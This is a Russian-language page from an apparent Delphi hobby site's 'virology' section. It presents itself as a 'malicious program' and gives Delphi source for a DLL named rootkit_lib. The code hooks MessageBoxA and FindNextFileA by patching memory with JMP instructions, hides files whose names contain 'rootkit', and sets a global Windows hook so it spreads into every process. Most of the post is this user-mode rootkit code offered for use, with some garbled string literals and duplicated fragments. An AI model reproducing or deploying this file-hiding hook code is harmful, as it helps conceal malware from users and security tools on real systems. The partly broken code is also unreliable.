Четверг, 21.11.2024, 09:30 Приветствую вас Гость | Группа "Гости" 
Меню сайта

Категории раздела
Вирусология [40]
Статьи о вирусах
Системные [1]
Работа с системой
Примеры [45]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Шуточные программы [5]
Пишем шуточные программки
Остальное [6]
Всё что не вошло

Популярные статьи

Недавние темы

Опрос
У вас есть деушка (парень)?
Всего ответов: 408

Главная » Статьи » Delphi » Вирусология

Исходник хука на Delphi
И еще один "вредоносный программа”  

На этот раз надо сделать Библиотечку , а не программу!

Перехват событий.


  LibraryName : string

  FunctionName : string; FunctionAddr : Pointer; HookAddr : Pointer;

  FunctCode : packed array [0..4] of byte;

  HookJMP : packed array [0..4] of byte;

 

var

HookHandle : hHook;  

MessageBoxInterceptInfo : TInterceptInfo;

FindNextFileAInterceptInfo : TInterceptInfo;

 

library rootkit_lib;

 

uses

  Windows,

  SysUtils,

  Classes,

  TlHelp32;

 

type

TInterceptInfo = record

  LibraryName : string; FunctionName : string;

  FunctionAddr : Pointer;

  HookAddr : Pointer;

  FunctCode : packed array [0..4] of byte;

  HookJMP : packed array [0..4] of byte;

end;

var

HookHandle : hHook;  

MessageBoxInterceptInfo : TInterceptInfo;

FindNextFileAInterceptInfo : TInterceptInfo;

function SetHookCode(InterceptInfo : TInterceptInfo; ASetHook : boolean) : boolean;

const

CodeSize = 5;

var

Tmp, OldProtect : dword;

begin

VirtualProtect(InterceptInfo.FunctionAddr, CodeSize, PAGE_EXECUTE_READWRITE, OldProtect);

if ASetHook then

  Result := WriteProcessMemory(GetCurrentProcess, InterceptInfo.FunctionAddr,

  @InterceptInfo.HookJMP[0], CodeSize, Tmp)

else

  Result := WriteProcessMemory(GetCurrentProcess, InterceptInfo.FunctionAddr,

  @InterceptInfo.FunctCode[0], CodeSize, Tmp);

VirtualProtect(InterceptInfo.FunctionAddr, CodeSize, OldProtect, Tmp);

end;

 

function InterceptFunctionEx(ALibName, AFunctName : string; var InterceptInfo : TInterceptInfo; HookFunct: Pointer) : boolean;

var

Tmp : dword;

JMP_Rel : dword;

begin

Result := false;

InterceptInfo.FunctionAddr := GetProcAddress(GetModuleHandle(PChar(ALibName)), PChar(AFunctName));

if InterceptInfo.FunctionAddr = nil then exit;

InterceptInfo.LibraryName := ALibName;

InterceptInfo.FunctionName := AFunctName;

InterceptInfo.HookAddr := HookFunct;

Result := ReadProcessMemory(GetCurrentProcess,InterceptInfo.FunctionAddr,@InterceptInfo.FunctCode[0], 5, Tmp);

if not(Result) then exit;

JMP_Rel := DWORD(HookFunct) - (DWORD(InterceptInfo.FunctionAddr) + 5);

InterceptInfo.HookJMP[0] := $0E9;

CopyMemory(@InterceptInfo.HookJMP[1], @JMP_Rel, 4);

Result := SetHookCode(InterceptInfo, true);

end;

 

function myMessageBoxA(hWnd: HWND; lpText, lpCaption: PAnsiChar; uType: UINT): Integer; stdcall;

begin

SetHookCode(MessageBoxInterceptInfo, false);

Result := MessageBoxA(hWnd, lpText, PChar(String(lpCaption)+’(ia?aoaa?aia !)’), uType);

SetHookCode(MessageBoxInterceptInfo, true);

end;

 

 

function myFindNextFileA(hFindFile: THandle; var lpFindFileData: TWIN32FindDataA): BOOL; stdcall;

begin

try

  SetHookCode(FindNextFileAInterceptInfo, false);

  Result := FindNextFileA(hFindFile, lpFindFileData);

  while Result do begin

  if pos(’rootkit’, LowerCase(lpFindFileData.cFileName)) = 0 then exit;

  Result := FindNextFileA(hFindFile, lpFindFileData);

end;

 

finally

  SetHookCode(FindNextFileAInterceptInfo, true);

end;

end;

 

function KeyHook(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall;

beginResult := CallNextHookEx(HookHandle, nCode, WParam, LParam);

end;

 

begin

InterceptFunctionEx(’user32.dll’,'MessageBoxA’,MessageBoxInterceptInfo, @myMessageBoxA);

InterceptFunctionEx(’kernel32.dll’,'FindNextFileA’,FindNextFileAInterceptInfo, @myFindNextFileA);

 

HookHandle := SetWindowsHookEx(WH_CBT, @KeyHook, HInstance, 0);

end.
Категория: Вирусология | Добавил: dolphin (27.09.2008)
Просмотров: 6948 | Рейтинг: 1.0/2

Всего комментариев: 0
avatar
Профиль



Поиск

Наша кнопка
Вирусология, взгляд из Delphi

Статистика
Top.Mail.Ru Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 457
Форум: 1165/8118
Коментариев: 770
Новостей: 29

Статистика пользователей
Всего: 379
За неделю: 1
Вчера: 0
Сегодня: 0
Всего онлайн: 1
Гостей: 1
Пользователей: 0

delphicode.ru © 2008 - 2024 Хостинг от uCoz